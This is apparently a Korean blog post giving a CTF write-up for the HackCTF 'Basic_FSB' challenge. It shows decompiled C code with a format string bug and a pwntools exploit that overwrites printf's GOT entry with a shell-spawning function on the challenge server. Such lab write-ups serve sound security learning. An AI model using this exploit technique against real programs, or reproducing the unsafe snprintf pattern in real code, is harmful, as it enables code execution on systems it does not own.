728x90
https://ctf.j0n9hyun.xyz/challenges#Basic_FSB
CODE
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
vuln();
return 0;
}
int vuln()
{
char s[1024]; // [esp+0h] [ebp-808h] BYREF
char format[1032]; // [esp+400h] [ebp-408h] BYREF
printf("input : ");
fgets(s, 1024, stdin);
snprintf(format, 0x400u, s);
return printf(format);
}
int flag()
{
puts("EN)you have successfully modified the value :)");
puts(aKr);
return system("/bin/sh");
}
vuln함수 snprintf(format, 0x400, s); 에서 FSB가 터집니다. 실제 파일을 실행해 확인해 봅시다.
바로 2번째에서 0x41414141이 나오는 것을 확인할 수 있습니다. 즉 offset : 2가 됩니다. 그 이후 함수를 덮는 것은 아무거나 해도 되긴 하는데 저는 가장 빠른 printf를 flag로 덮겠습니다. 코드는 아래와 같습니다.
소스코드
더보기
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3002)
e = ELF("./basic_fsb")
printf = e.got['printf']
flag = e.symbols['flag']
print(hex(printf))
payload = fmtstr_payload(2, {printf : flag})
p.sendlineafter(": ", payload)
p.interactive()
[해킹/시스템 해킹] - [시스템 해킹] FSB(Format String Bug) 이란?
위 링크에서 FSB에 대해 좀 더 자세하게 배우실 수 있습니다.
728x90
'해킹 > 시스템해킹' 카테고리의 다른 글
[시스템해킹] FSB(Format String Bug) 이란? (0) | 2021.09.09 |
---|---|
[시스템해킹] HackCTF < Basic_BOF #1 > (0) | 2021.09.09 |
[시스템해킹] GrabCON Pwn CTF? write up (0) | 2021.09.09 |
[시스템해킹] GrabCON can you? write up (0) | 2021.09.09 |
[시스템해킹] GrabCON easy_bin write up (0) | 2021.09.09 |